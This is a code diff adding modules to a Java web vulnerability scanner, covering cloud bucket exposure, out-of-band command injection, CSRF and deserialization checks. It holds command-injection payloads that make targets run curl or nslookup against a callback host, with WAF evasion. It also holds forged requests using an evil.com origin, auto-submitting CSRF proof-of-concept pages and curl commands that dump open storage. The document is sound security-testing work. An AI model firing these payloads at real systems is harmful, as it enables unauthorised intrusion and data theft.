cbe; + } catch (Exception ignored) { + // DNS resolution failure means bucket does not exist + } + return null; + } + + // ------------------------------------------------------------------------- + // Phase 2: Azure Blob Storage testing + // ------------------------------------------------------------------------- + + private Finding testAzureBlob(ScanContext ctx, HttpClient hc, String account, String container, String sourceUrl, + Consumer log) { + String listUrl = "https://" + account + ".blob.core.windows.net/" + container + "?restype=container&comp=list"; + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(listUrl)).timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + String body = resp.body() != null ? resp.body() : ""; + + if (resp.statusCode() == 200 && body.contains(" | Found via: " + sourceUrl, + "The Azure Blob Storage container allows public listing of all blobs." + + " An attacker can enumerate and download files, potentially exposing" + + " sensitive data, backups, and credentials", + "curl -s '" + listUrl + "' | head -50", + "Set the container access level to Private. Use Azure Storage firewalls" + + " and virtual network rules. Enable Azure Storage analytics logging." + + " Use Shared Access Signatures (SAS) with minimal permissions."); + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + // Container may not exist + } + return null; + } + + // ------------------------------------------------------------------------- + // Phase 3: Google Cloud Storage testing + // ------------------------------------------------------------------------- + + private Finding testGcsBucket(ScanContext ctx, HttpClient hc, String bucket, String sourceUrl, + Consumer log) { + String bucketUrl = "https://storage.googleapis.com/" + bucket; + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(bucketUrl + "/")).timeout(Duration.ofSeconds(6)) + .GET().build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + String body = resp.body() != null ? resp.body() : ""; + + if (resp.statusCode() == 200 && body.contains("" + " | Found via: " + + sourceUrl, + "The Google Cloud Storage bucket allows public listing of all objects." + + " An attacker can enumerate and download files, potentially exposing" + + " sensitive data and credentials", + "curl -s '" + bucketUrl + "/' | head -50", + "Set the bucket IAM policy to deny allUsers and allAuthenticatedUsers" + + " access. Use Uniform bucket-level access. Enable Cloud Audit Logs." + + " Review and remove legacy ACLs."); + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + // Bucket may not exist + } + return null; + } + + // ------------------------------------------------------------------------- + // Phase 4: Firebase detection and testing + // ------------------------------------------------------------------------- + + private List checkFirebase(ScanContext ctx, HttpClient hc, String domain, Consumer log) { + List findings = new ArrayList<>(); + // Try common Firebase project names derived from the domain + String baseName = domain.replace(".", "-"); + List projectNames = List.of(baseName, domain.split("\\.")[0]); + + for (String project : projectNames) { + Finding f = testFirebaseProject(ctx, hc, project, "enumeration:" + project, log); + if (f != null) { + findings.add(f); + } + } + return findings; + } + + private Finding testFirebaseProject(ScanContext ctx, HttpClient hc, String project, String sourceUrl, + Consumer log) { + String firebaseUrl = "https://" + project + ".firebaseio.com"; + try { + // Check /.json endpoint -- if Firebase rules allow unauthenticated read, this + // returns data + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(firebaseUrl + "/.json?shallow=true")) + .timeout(Duration.ofSeconds(6)).GET().build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + String body = resp.body() != null ? resp.body() : ""; + + if (resp.statusCode() == 200 && !body.equals("null") && !body.isBlank()) { + // Firebase returned data -- rules are wide open + log.accept("[!!] " + id() + ": Firebase database publicly readable -- " + project); + return Finding.of(id(), firebaseUrl + "/.json", "Firebase Database Publicly Readable -- " + project, + Severity.CRITICAL, + "Project: " + project + " | Status: 200 | Response: " + truncate(body, 200) + " | Found via: " + + sourceUrl, + "The Firebase Realtime Database allows unauthenticated read access." + + " All data stored in the database is publicly accessible, which" + + " typically includes user data, credentials, PII, and application" + " configuration", + "curl -s '" + firebaseUrl + "/.json?shallow=true'", + "Set Firebase Security Rules to require authentication for all read and" + + " write operations. Migrate from default open rules to restrictive" + + " rules. Audit existing data for exposed PII and credentials." + " Example rules:\n" + + "{\n" + " \"rules\": {\n" + " \".read\": \"auth != null\",\n" + + " \".write\": \"auth != null\"\n" + " }\n" + "}"); + } + + // Check if the project exists but is restricted + if (resp.statusCode() == 401 || (body.contains("Permission denied"))) { + log.accept("[~] " + id() + ": Firebase project exists but is restricted -- " + project); + return Finding.of(id(), firebaseUrl, "Firebase Project Detected (Restricted) -- " + project, + Severity.INFO, + "Project: " + project + " | Status: " + resp.statusCode() + " | Found via: " + sourceUrl, + "The Firebase project exists and is associated with the target. While" + + " unauthenticated access is denied, misconfigurations in specific" + + " paths or rules may still expose data", + "curl -s -o /dev/null -w '%{http_code}' '" + firebaseUrl + "/.json'", + "Review Firebase Security Rules for all paths. Ensure rules do not" + + " allow unauthenticated access to any subtree. Use Firebase" + + " Emulator Suite to test rules before deployment."); + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + // Project may not exist + } + return null; + } + + // ------------------------------------------------------------------------- + // Utility + // ------------------------------------------------------------------------- + + private static String extractS3Bucket(Matcher m) { + // Groups: 2=subdomain style, 3=path style, 4=subdomain .s3., 5=path s3. + for (int i = 2; i <= 5; i++) { + String g = m.group(i); + if (g != null && !g.isBlank()) { + return g; + } + } + return null; + } + + private static String detectProvider(List headers) { + for (String h : headers) { + if (h.startsWith("x-amz") || h.startsWith("x-amzn")) { + return "AWS"; + } + if (h.startsWith("x-goog")) { + return "GCP"; + } + if (h.startsWith("x-ms-") || h.startsWith("x-azure")) { + return "Azure"; + } + } + return "Unknown Cloud Provider"; + } + + private static String stripSubdomain(String host) { + // Remove www. and similar prefixes, keep the registrable domain + String[] parts = host.split("\\."); + if (parts.length > 2) { + return parts[parts.length - 2] + "." + parts[parts.length - 1]; + } + return host; + } + + private static String truncate(String s, int maxLen) { + if (s.length() <= maxLen) { + return s; + } + return s.substring(0, maxLen) + "..."; + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/web/cmdinject/CommandInjectionModule.java b/src/main/java/gg/effront/anarcry/scanner/web/cmdinject/CommandInjectionModule.java index 7e13505..4c94d21 100644 --- a/src/main/java/gg/effront/anarcry/scanner/web/cmdinject/CommandInjectionModule.java +++ b/src/main/java/gg/effront/anarcry/scanner/web/cmdinject/CommandInjectionModule.java @@ -7,6 +7,8 @@ import gg.effront.anarcry.model.Severity; import gg.effront.anarcry.scanner.ScanContext; import gg.effront.anarcry.scanner.Scanner; +import gg.effront.anarcry.scanner.oast.OastCorrelator; +import gg.effront.anarcry.scanner.oast.OastPayload; import gg.effront.anarcry.scanner.util.Http; import gg.effront.anarcry.scanner.util.CircuitBreakerException; import gg.effront.anarcry.scanner.util.HttpClientFactory; @@ -190,6 +192,9 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio } } + // -- Phase 1b: OOB command injection via OAST callback -- + injectOobCmd(ctx, hc, base, path, param, log); + // -- Phase 2: Time-based blind injection -- if (cancel.get() || skipTimeBased) { return local; @@ -274,6 +279,62 @@ private List mergeKbPayloads(boolean timeBased) { return List.copyOf(merged); } + /** + * Inject OOB command injection payloads via OAST callback. Uses curl and + * nslookup to trigger HTTP/DNS callbacks that confirm command execution even + * when output is not reflected. + * + *

+ * Payloads injected: + * + *

    + *
  • {@code ; curl http:///} -- HTTP callback via curl + *
  • {@code | curl http:///} -- pipe variant + *
  • {@code $(curl http:///)} -- subshell variant + *
  • {@code ; nslookup .} -- DNS callback via nslookup + *
+ */ + private void injectOobCmd(ScanContext ctx, HttpClient hc, String base, String path, String param, + Consumer log) { + OastCorrelator oast = ctx.oastCorrelator(); + if (oast == null || oast.callbackBaseUrl().isEmpty()) { + return; + } + String cbBase = oast.callbackBaseUrl(); + // Extract host:port for DNS-based payloads + String cbHost = cbBase.replaceFirst("^https?://", "").replaceFirst("/.*$", ""); + + // curl-based callbacks (HTTP) + String[] separators = {"; ", "| ", "$("}; + String[] suffixes = {"", "", ")"}; + for (int i = 0; i < separators.length; i++) { + String payloadId = OastCorrelator.generatePayloadId(); + String curlUrl = oast.callbackUrl(payloadId); + String payload = "testvalue" + separators[i] + "curl " + curlUrl + suffixes[i]; + injectSingleOob(ctx, hc, oast, base, path, param, payloadId, payload, "curl-" + i, log); + } + + // nslookup-based callback (DNS) + String dnsId = OastCorrelator.generatePayloadId(); + String dnsPayload = "testvalue; nslookup " + dnsId + "." + cbHost; + injectSingleOob(ctx, hc, oast, base, path, param, dnsId, dnsPayload, "nslookup", log); + } + + private void injectSingleOob(ScanContext ctx, HttpClient hc, OastCorrelator oast, String base, String path, + String param, String payloadId, String payload, String label, Consumer log) { + try { + oast.registerPayload( + new OastPayload(payloadId, id(), path + "?" + param, param, payload, System.currentTimeMillis())); + String encoded = URLEncoder.encode(WafEvasion.evasionPayload(ctx, payload), "UTF-8"); + String url = base + path + "?" + param + "=" + encoded; + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(8)).GET() + .build(); + Http.send(ctx, hc, req, HttpResponse.BodyHandlers.discarding(), id()); + } catch (Exception e) { + // OOB injection errors are non-fatal + } + } + /** * Returns true if {@code paramName} (lowercased) contains any NETWORK_KEYWORD. */ diff --git a/src/main/java/gg/effront/anarcry/scanner/web/csrf/CsrfModule.java b/src/main/java/gg/effront/anarcry/scanner/web/csrf/CsrfModule.java new file mode 100644 index 0000000..44dfedf --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/web/csrf/CsrfModule.java @@ -0,0 +1,468 @@ +package gg.effront.anarcry.scanner.web.csrf; + +import gg.effront.anarcry.model.Finding; +import gg.effront.anarcry.model.Severity; +import gg.effront.anarcry.scanner.ScanContext; +import gg.effront.anarcry.scanner.Scanner; +import gg.effront.anarcry.scanner.util.Http; +import gg.effront.anarcry.scanner.util.HttpClientFactory; + +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.time.Duration; +import java.util.ArrayList; +import java.util.HashSet; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Locale; +import java.util.Set; +import java.util.function.Consumer; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +public class CsrfModule implements Scanner { + + private static final List PROBE_PATHS = List.of("/", "/login", "/account", "/settings", "/profile", + "/api/email", "/api/password", "/api/user", "/admin", "/transfer", "/checkout"); + + // Matches
tags with method attribute (POST, PUT, DELETE, PATCH) + private static final Pattern FORM_TAG = Pattern.compile( + "]*\\bmethod\\s*=\\s*['\"]?(POST|PUT|DELETE|PATCH)['\"]?[^>]*>", + Pattern.CASE_INSENSITIVE | Pattern.DOTALL); + + // Matches action attribute inside a form tag + private static final Pattern FORM_ACTION = Pattern.compile("\\baction\\s*=\\s*['\"]([^'\"]*)['\"]", + Pattern.CASE_INSENSITIVE); + + // Matches the closing form tag to delimit form body + private static final Pattern FORM_CLOSE = Pattern.compile("", Pattern.CASE_INSENSITIVE); + + // Matches hidden inputs that look like CSRF tokens + private static final Pattern CSRF_INPUT = Pattern.compile( + "]*\\btype\\s*=\\s*['\"]hidden['\"][^>]*\\bname\\s*=\\s*['\"](" + + "csrf|_csrf|token|_token|csrf_token|csrfmiddlewaretoken" + + "|authenticity_token|XSRF-TOKEN|__RequestVerificationToken" + + "|anti-csrf-token|anticsrf|csrfToken" + ")['\"][^>]*\\bvalue\\s*=\\s*['\"]([^'\"]*)['\"]", + Pattern.CASE_INSENSITIVE); + + // Alternate order: value before name + private static final Pattern CSRF_INPUT_ALT = Pattern + .compile("]*\\bvalue\\s*=\\s*['\"]([^'\"]*)['\"][^>]*\\bname\\s*=\\s*['\"](" + + "csrf|_csrf|token|_token|csrf_token|csrfmiddlewaretoken" + + "|authenticity_token|XSRF-TOKEN|__RequestVerificationToken" + + "|anti-csrf-token|anticsrf|csrfToken" + ")['\"]", Pattern.CASE_INSENSITIVE); + + // AJAX patterns that suggest state-changing requests in JS + private static final Pattern AJAX_POST = Pattern.compile( + "(fetch\\s*\\([^)]*['\"]POST['\"]" + "|XMLHttpRequest[^;]*\\.open\\s*\\([^)]*['\"]POST['\"]" + + "|\\.ajax\\s*\\(\\s*\\{[^}]*type\\s*:\\s*['\"]POST['\"]" + "|\\.post\\s*\\()", + Pattern.CASE_INSENSITIVE); + + // Meta tag CSRF token (Rails, Laravel, etc.) + private static final Pattern META_CSRF = Pattern.compile("]*\\bname\\s*=\\s*['\"](" + + "csrf-token|csrf-param|_csrf_token|_token" + ")['\"][^>]*\\bcontent\\s*=\\s*['\"]([^'\"]+)['\"]", + Pattern.CASE_INSENSITIVE); + + private record FormInfo(String action, String method, String tokenName, String tokenValue) { + } + + @Override + public String id() { + return "CSRF"; + } + + @Override + public List scan(ScanContext ctx, Consumer log) throws Exception { + List findings = new ArrayList<>(); + HttpClient hc = HttpClientFactory.http2(); + + String scheme = ctx.isHttps() ? "https" : "http"; + int defPort = ctx.isHttps() ? 443 : 80; + String baseUrl = scheme + "://" + ctx.host() + (ctx.port() != defPort ? ":" + ctx.port() : ""); + + log.accept("[~] CSRF: iniciando deteccao em " + baseUrl); + + // Collect paths: built-in probes + crawler-discovered paths + Set allPaths = new LinkedHashSet<>(PROBE_PATHS); + for (String p : ctx.discoveredPaths().paths()) { + if (p.startsWith("/")) { + allPaths.add(p); + } else if (p.startsWith(baseUrl)) { + allPaths.add(p.substring(baseUrl.length())); + } + } + + log.accept("[~] CSRF: " + allPaths.size() + " paths para analise (" + PROBE_PATHS.size() + " built-in + " + + (allPaths.size() - PROBE_PATHS.size()) + " discovered)"); + + Set checkedEndpoints = new HashSet<>(); + + // Phase 1: SameSite cookie check on root + checkSameSiteCookie(ctx, hc, baseUrl, log, findings); + + // Phase 2: Discover forms and check CSRF protections + for (String path : allPaths) { + if (Thread.currentThread().isInterrupted()) { + log.accept("[!] CSRF: interrupted"); + break; + } + + String url = baseUrl + path; + try { + HttpRequest getReq = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, getReq, HttpResponse.BodyHandlers.ofString(), id()); + + if (resp.statusCode() < 200 || resp.statusCode() >= 400) { + continue; + } + + String body = resp.body() != null ? resp.body() : ""; + String contentType = resp.headers().firstValue("content-type").orElse(""); + + if (!contentType.contains("text/html")) { + continue; + } + + // Check for meta CSRF tokens (indicates framework-level protection) + boolean hasMetaCsrf = META_CSRF.matcher(body).find(); + + // Check for AJAX POST patterns without visible CSRF headers + if (AJAX_POST.matcher(body).find() && !hasMetaCsrf) { + log.accept("[~] CSRF: AJAX POST detectado sem meta CSRF em " + path); + } + + // Parse forms + List forms = parseForms(body, path); + if (forms.isEmpty()) { + continue; + } + + log.accept("[~] CSRF: " + forms.size() + " form(s) state-changing em " + path); + + for (FormInfo form : forms) { + String endpoint = form.action().isEmpty() ? path : form.action(); + String dedupKey = form.method() + "|" + endpoint; + if (!checkedEndpoints.add(dedupKey)) { + continue; + } + + if (form.tokenName().isEmpty()) { + // No CSRF token at all -- check if meta tag provides one + if (!hasMetaCsrf) { + log.accept("[!!] CSRF: form sem token em " + path + " -> " + endpoint); + findings.add(buildFinding(endpoint, "No CSRF token on state-changing form", Severity.HIGH, + "Form action: " + endpoint + " | Method: " + form.method() + " | Page: " + path + + " | No hidden CSRF input found" + " | No meta CSRF tag found", + "State-changing endpoint has no CSRF protection." + + " An attacker can forge requests from" + + " a malicious page while the victim" + " is authenticated.", + generatePoc(baseUrl, endpoint, form.method()), + "Implement anti-CSRF tokens (synchronizer token" + + " pattern). Set SameSite=Lax or Strict" + + " on session cookies. Validate Origin" + " and Referer headers.")); + } + } else { + // Token found -- run validation tests + log.accept("[~] CSRF: token '" + form.tokenName() + "' encontrado em " + path + + " -- testando validacao"); + testTokenValidation(ctx, hc, baseUrl, path, form, log, findings); + } + } + + // Phase 5: Origin/Referer validation on forms found + for (FormInfo form : forms) { + String endpoint = form.action().isEmpty() ? path : form.action(); + checkOriginValidation(ctx, hc, baseUrl, endpoint, form, log, findings); + } + + } catch (Exception e) { + // Connection errors expected for unreachable paths + } + } + + if (findings.isEmpty()) { + log.accept("[+] CSRF: nenhuma vulnerabilidade detectada"); + } + return findings; + } + + // --------------------------------------------------------------------------- + // Phase 1: SameSite cookie check + // --------------------------------------------------------------------------- + + private void checkSameSiteCookie(ScanContext ctx, HttpClient hc, String baseUrl, Consumer log, + List findings) throws Exception { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(baseUrl + "/")).timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.discarding(), id()); + + List setCookies = resp.headers().allValues("set-cookie"); + for (String cookie : setCookies) { + String lower = cookie.toLowerCase(Locale.ROOT); + // Only check session-like cookies + boolean isSession = lower.startsWith("session") || lower.startsWith("sess") || lower.startsWith("sid") + || lower.startsWith("jsessionid") || lower.startsWith("phpsessid") + || lower.startsWith("connect.sid") || lower.startsWith("_session") || lower.startsWith("token"); + + if (!isSession) { + continue; + } + + String cookieName = cookie.split("=")[0].trim(); + + if (!lower.contains("samesite")) { + log.accept("[!] CSRF: session cookie '" + cookieName + "' sem SameSite"); + findings.add(buildFinding(baseUrl + "/", "Missing SameSite on session cookie '" + cookieName + "'", + Severity.MEDIUM, "Set-Cookie: " + cookie + " | SameSite attribute: absent", + "Without SameSite attribute, the browser sends the" + + " session cookie on cross-site requests, enabling" + + " CSRF attacks on browsers that default to None.", + "curl -sI '" + baseUrl + "/' | grep -i set-cookie", + "Set SameSite=Lax or SameSite=Strict on all session" + + " cookies. Combine with Secure and HttpOnly flags.")); + } else if (lower.contains("samesite=none")) { + log.accept("[!] CSRF: session cookie '" + cookieName + "' com SameSite=None"); + findings.add(buildFinding(baseUrl + "/", "SameSite=None on session cookie '" + cookieName + "'", + Severity.MEDIUM, "Set-Cookie: " + cookie + " | SameSite=None explicitly set", + "SameSite=None disables cross-site cookie protection." + + " The browser sends the cookie with every cross-site" + + " request, enabling CSRF unless other defenses exist.", + "curl -sI '" + baseUrl + "/' | grep -i set-cookie", + "Change SameSite to Lax or Strict. Only use None when" + + " cross-origin embedding is required, and always" + + " combined with anti-CSRF tokens.")); + } + } + } + + // --------------------------------------------------------------------------- + // Phase 2: Parse forms from HTML + // --------------------------------------------------------------------------- + + private List parseForms(String html, String currentPath) { + List forms = new ArrayList<>(); + Matcher formMatcher = FORM_TAG.matcher(html); + + while (formMatcher.find()) { + String method = formMatcher.group(1).toUpperCase(Locale.ROOT); + int formStart = formMatcher.start(); + String formTag = formMatcher.group(0); + + // Extract action + Matcher actionMatcher = FORM_ACTION.matcher(formTag); + String action = actionMatcher.find() ? actionMatcher.group(1) : ""; + if (action.isEmpty()) { + action = currentPath; + } + + // Find form body (between open and close tags) + Matcher closeMatcher = FORM_CLOSE.matcher(html); + String formBody; + if (closeMatcher.find(formStart)) { + formBody = html.substring(formStart, closeMatcher.end()); + } else { + formBody = html.substring(formStart); + } + + // Look for CSRF token in hidden inputs + String tokenName = ""; + String tokenValue = ""; + Matcher csrfMatcher = CSRF_INPUT.matcher(formBody); + if (csrfMatcher.find()) { + tokenName = csrfMatcher.group(1); + tokenValue = csrfMatcher.group(2); + } else { + // Try alternate attribute order + Matcher altMatcher = CSRF_INPUT_ALT.matcher(formBody); + if (altMatcher.find()) { + tokenValue = altMatcher.group(1); + tokenName = altMatcher.group(2); + } + } + + forms.add(new FormInfo(action, method, tokenName, tokenValue)); + } + + return forms; + } + + // --------------------------------------------------------------------------- + // Phase 3: Token validation tests + // --------------------------------------------------------------------------- + + private void testTokenValidation(ScanContext ctx, HttpClient hc, String baseUrl, String pagePath, FormInfo form, + Consumer log, List findings) throws Exception { + + String actionUrl = resolveUrl(baseUrl, form.action()); + + // Get baseline: submit with valid token + int baselineStatus = submitForm(ctx, hc, actionUrl, form.tokenName(), form.tokenValue()); + if (baselineStatus < 0) { + log.accept("[~] CSRF: baseline request falhou para " + actionUrl); + return; + } + + // Test A: remove token entirely + int noTokenStatus = submitForm(ctx, hc, actionUrl, null, null); + if (noTokenStatus >= 0 && isAccepted(noTokenStatus) && isAccepted(baselineStatus)) { + log.accept("[!!] CSRF: token removivel em " + actionUrl); + findings.add(buildFinding(form.action(), "CSRF token accepted when removed", Severity.HIGH, + "Endpoint: " + actionUrl + " | Token param: " + form.tokenName() + " | With token: HTTP " + + baselineStatus + " | Without token: HTTP " + noTokenStatus, + "The server accepts requests without a CSRF token." + " An attacker can submit forged requests" + + " without needing to obtain a valid token.", + generatePoc(baseUrl, form.action(), form.method()), + "Reject requests missing the CSRF token." + " Return HTTP 403 when the token is absent.")); + return; // No need for further tests + } + + // Test B: submit with random/modified token + String fakeToken = "anarcry_csrf_probe_" + System.nanoTime(); + int fakeTokenStatus = submitForm(ctx, hc, actionUrl, form.tokenName(), fakeToken); + if (fakeTokenStatus >= 0 && isAccepted(fakeTokenStatus) && isAccepted(baselineStatus)) { + log.accept("[!!] CSRF: token nao validado em " + actionUrl); + findings.add(buildFinding(form.action(), "CSRF token not validated (random token accepted)", Severity.HIGH, + "Endpoint: " + actionUrl + " | Token param: " + form.tokenName() + " | Valid token: HTTP " + + baselineStatus + " | Random token: HTTP " + fakeTokenStatus + " | Fake value: " + + fakeToken, + "The server does not validate the CSRF token value." + + " Any arbitrary value is accepted, making the" + " protection ineffective.", + generatePoc(baseUrl, form.action(), form.method()), + "Validate the token against the server-side session." + " Use the synchronizer token pattern or" + + " a signed double-submit cookie.")); + return; + } + + // Test C: submit with empty token + int emptyTokenStatus = submitForm(ctx, hc, actionUrl, form.tokenName(), ""); + if (emptyTokenStatus >= 0 && isAccepted(emptyTokenStatus) && isAccepted(baselineStatus)) { + log.accept("[!!] CSRF: token vazio aceito em " + actionUrl); + findings.add(buildFinding(form.action(), "CSRF token accepted when empty", Severity.HIGH, + "Endpoint: " + actionUrl + " | Token param: " + form.tokenName() + " | Valid token: HTTP " + + baselineStatus + " | Empty token: HTTP " + emptyTokenStatus, + "The server accepts an empty CSRF token value." + " An attacker can forge requests with an" + + " empty token parameter.", + generatePocWithToken(baseUrl, form.action(), form.method(), form.tokenName(), ""), + "Reject empty token values. Validate token length" + " and entropy before comparing.")); + } + } + + // --------------------------------------------------------------------------- + // Phase 5: Origin/Referer validation + // --------------------------------------------------------------------------- + + private void checkOriginValidation(ScanContext ctx, HttpClient hc, String baseUrl, String endpoint, FormInfo form, + Consumer log, List findings) throws Exception { + + String actionUrl = resolveUrl(baseUrl, endpoint); + + // Build a POST with a foreign Origin header + String body = form.tokenName().isEmpty() ? "test=1" : form.tokenName() + "=" + form.tokenValue(); + + try { + HttpRequest crossOriginReq = HttpRequest.newBuilder().uri(URI.create(actionUrl)) + .timeout(Duration.ofSeconds(6)).header("Content-Type", "application/x-www-form-urlencoded") + .header("Origin", "https://evil.com").header("Referer", "https://evil.com/csrf-poc") + .POST(HttpRequest.BodyPublishers.ofString(body)).build(); + HttpResponse resp = Http.send(ctx, hc, crossOriginReq, HttpResponse.BodyHandlers.discarding(), id()); + + // Also send with legitimate origin for baseline + HttpRequest legitimateReq = HttpRequest.newBuilder().uri(URI.create(actionUrl)) + .timeout(Duration.ofSeconds(6)).header("Content-Type", "application/x-www-form-urlencoded") + .header("Origin", baseUrl).header("Referer", baseUrl + "/") + .POST(HttpRequest.BodyPublishers.ofString(body)).build(); + HttpResponse legResp = Http.send(ctx, hc, legitimateReq, HttpResponse.BodyHandlers.discarding(), + id()); + + // If cross-origin is accepted the same as legitimate, report + if (isAccepted(resp.statusCode()) && isAccepted(legResp.statusCode()) && !isRejected(resp.statusCode())) { + log.accept("[!] CSRF: Origin/Referer nao validados em " + endpoint); + findings.add(buildFinding(endpoint, "Origin/Referer not validated on state-changing endpoint", + Severity.MEDIUM, + "Endpoint: " + actionUrl + " | Cross-Origin: HTTP " + resp.statusCode() + + " | Legitimate-Origin: HTTP " + legResp.statusCode() + + " | Origin sent: https://evil.com" + " | Referer sent: https://evil.com/csrf-poc", + "The server does not validate Origin or Referer headers." + + " Combined with a missing or weak CSRF token," + + " this allows cross-site request forgery.", + "curl -s -X POST '" + actionUrl + "'" + " -H 'Origin: https://evil.com'" + + " -H 'Referer: https://evil.com/csrf-poc'" + " -H 'Content-Type:" + + " application/x-www-form-urlencoded'" + " -d '" + body + "'", + "Validate Origin and Referer headers against an" + + " allowlist of trusted domains. Reject requests" + + " with missing or untrusted Origin on" + " state-changing endpoints.")); + } + } catch (Exception e) { + // Connection errors expected + } + } + + // --------------------------------------------------------------------------- + // Helpers + // --------------------------------------------------------------------------- + + private int submitForm(ScanContext ctx, HttpClient hc, String actionUrl, String tokenName, String tokenValue) + throws Exception { + try { + String body; + if (tokenName == null) { + body = "anarcry_probe=1"; + } else if (tokenValue == null) { + body = "anarcry_probe=1"; + } else { + body = java.net.URLEncoder.encode(tokenName, "UTF-8") + "=" + + java.net.URLEncoder.encode(tokenValue, "UTF-8"); + } + + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(actionUrl)).timeout(Duration.ofSeconds(6)) + .header("Content-Type", "application/x-www-form-urlencoded") + .POST(HttpRequest.BodyPublishers.ofString(body)).build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.discarding(), id()); + return resp.statusCode(); + } catch (Exception e) { + return -1; + } + } + + private static boolean isAccepted(int status) { + return status >= 200 && status < 400; + } + + private static boolean isRejected(int status) { + return status == 403 || status == 419 || status == 422 || status == 440; + } + + private String resolveUrl(String baseUrl, String action) { + if (action.startsWith("http://") || action.startsWith("https://")) { + return action; + } + if (action.startsWith("/")) { + return baseUrl + action; + } + return baseUrl + "/" + action; + } + + private String generatePoc(String baseUrl, String action, String method) { + String fullUrl = resolveUrl(baseUrl, action); + return "\n" + "\n" + "\n" + "
\n" + " \n" + "
\n" + + " \n" + "\n" + ""; + } + + private String generatePocWithToken(String baseUrl, String action, String method, String tokenName, + String tokenValue) { + String fullUrl = resolveUrl(baseUrl, action); + return "\n" + "\n" + "\n" + "
\n" + " \n" + " \n" + "
\n" + + " \n" + "\n" + ""; + } + + private Finding buildFinding(String endpoint, String title, Severity severity, String evidence, String impact, + String reproduction, String recommendation) { + return Finding.of(id(), endpoint, title, severity, evidence, impact, reproduction, recommendation); + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/web/deser/DeserializationModule.java b/src/main/java/gg/effront/anarcry/scanner/web/deser/DeserializationModule.java new file mode 100644 index 0000000..847e652 --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/web/deser/DeserializationModule.java @@ -0,0 +1,518 @@ +package gg.effront.anarcry.scanner.web.deser; + +import gg.effront.anarcry.model.CvssCalculator; +import gg.effront.anarcry.model.CweRegistry; +import gg.effront.anarcry.model.Finding; +import gg.effront.anarcry.model.Severity; +import gg.effront.anarcry.scanner.ScanContext; +import gg.effront.anarcry.scanner.Scanner; +import gg.effront.anarcry.scanner.util.CircuitBreakerException; +import gg.effront.anarcry.scanner.util.Http; +import gg.effront.anarcry.scanner.util.HttpClientFactory; +import gg.effront.anarcry.scanner.util.ProbeExecutor; + +import java.net.URI; +import java.net.URLEncoder; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.time.Duration; +import java.util.ArrayList; +import java.util.Base64; +import java.util.List; +import java.util.concurrent.Callable; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.function.Consumer; +import java.util.regex.Pattern; + +public class DeserializationModule implements Scanner { + + // -- Probe paths for general scanning -- + private static final List PROBE_PATHS = List.of("/", "/api/", "/api/v1/", "/login", "/search", "/api/users", + "/api/items"); + + // -- Parameters likely to carry serialized data -- + private static final List DESER_PARAMS = List.of("data", "object", "state", "token", "session", "payload", + "viewstate", "input"); + + // -- Known vulnerable framework endpoints -- + private static final List FRAMEWORK_ENDPOINTS = List.of("/invoker/JMXInvokerServlet", + "/wls-wsat/CoordinatorPortType", "/console/", "/jenkins/script", "/jenkins/", + "/_async/AsyncResponseService"); + + // -- Java deserialization error patterns -- + private static final Pattern JAVA_DESER_ERROR = Pattern + .compile("java\\.io\\.InvalidClassException|ClassNotFoundException|java\\.io\\.StreamCorruptedException" + + "|ObjectInputStream|java\\.io\\.NotSerializableException|java\\.io\\.EOFException" + + "|cannot be cast to|ClassCastException.*deserializ", Pattern.CASE_INSENSITIVE); + + // -- PHP deserialization error patterns -- + private static final Pattern PHP_DESER_ERROR = Pattern.compile( + "unserialize\\(\\)|__wakeup|__destruct|__toString.*error|" + "allowed classes|O:\\d+:\"[^\"]+\":\\d+:\\{", + Pattern.CASE_INSENSITIVE); + + // -- Python pickle error patterns -- + private static final Pattern PYTHON_PICKLE_ERROR = Pattern.compile( + "pickle\\.UnpicklingError|_pickle\\.UnpicklingError|" + + "ImportError.*No module|ModuleNotFoundError|unpickling stack underflow", + Pattern.CASE_INSENSITIVE); + + // -- .NET deserialization error patterns -- + private static final Pattern DOTNET_DESER_ERROR = Pattern + .compile("BinaryFormatter|ObjectStateFormatter|LosFormatter|" + + "System\\.Runtime\\.Serialization|TypeInitializationException.*Serializ|" + + "ViewState MAC validation", Pattern.CASE_INSENSITIVE); + + // -- ViewState parameters (ASP.NET deserialization) -- + private static final Pattern VIEWSTATE_PARAM = Pattern.compile("__VIEWSTATE|__EVENTVALIDATION|__VIEWSTATEGENERATOR", + Pattern.CASE_INSENSITIVE); + + // -- Base64 Java serialized object magic: 0xACED0005 -> rO0AB -- + private static final String JAVA_SERIAL_B64_PREFIX = "rO0AB"; + + // -- Framework fingerprint headers -- + private static final Pattern VULN_FRAMEWORK_HEADER = Pattern.compile( + "Apache-Coyote|JBoss|WebLogic|WildFly|GlassFish|Jenkins|" + "Struts|Oracle.*Application Server", + Pattern.CASE_INSENSITIVE); + + // -- Malformed Java serialized payload (triggers error on deser endpoints) 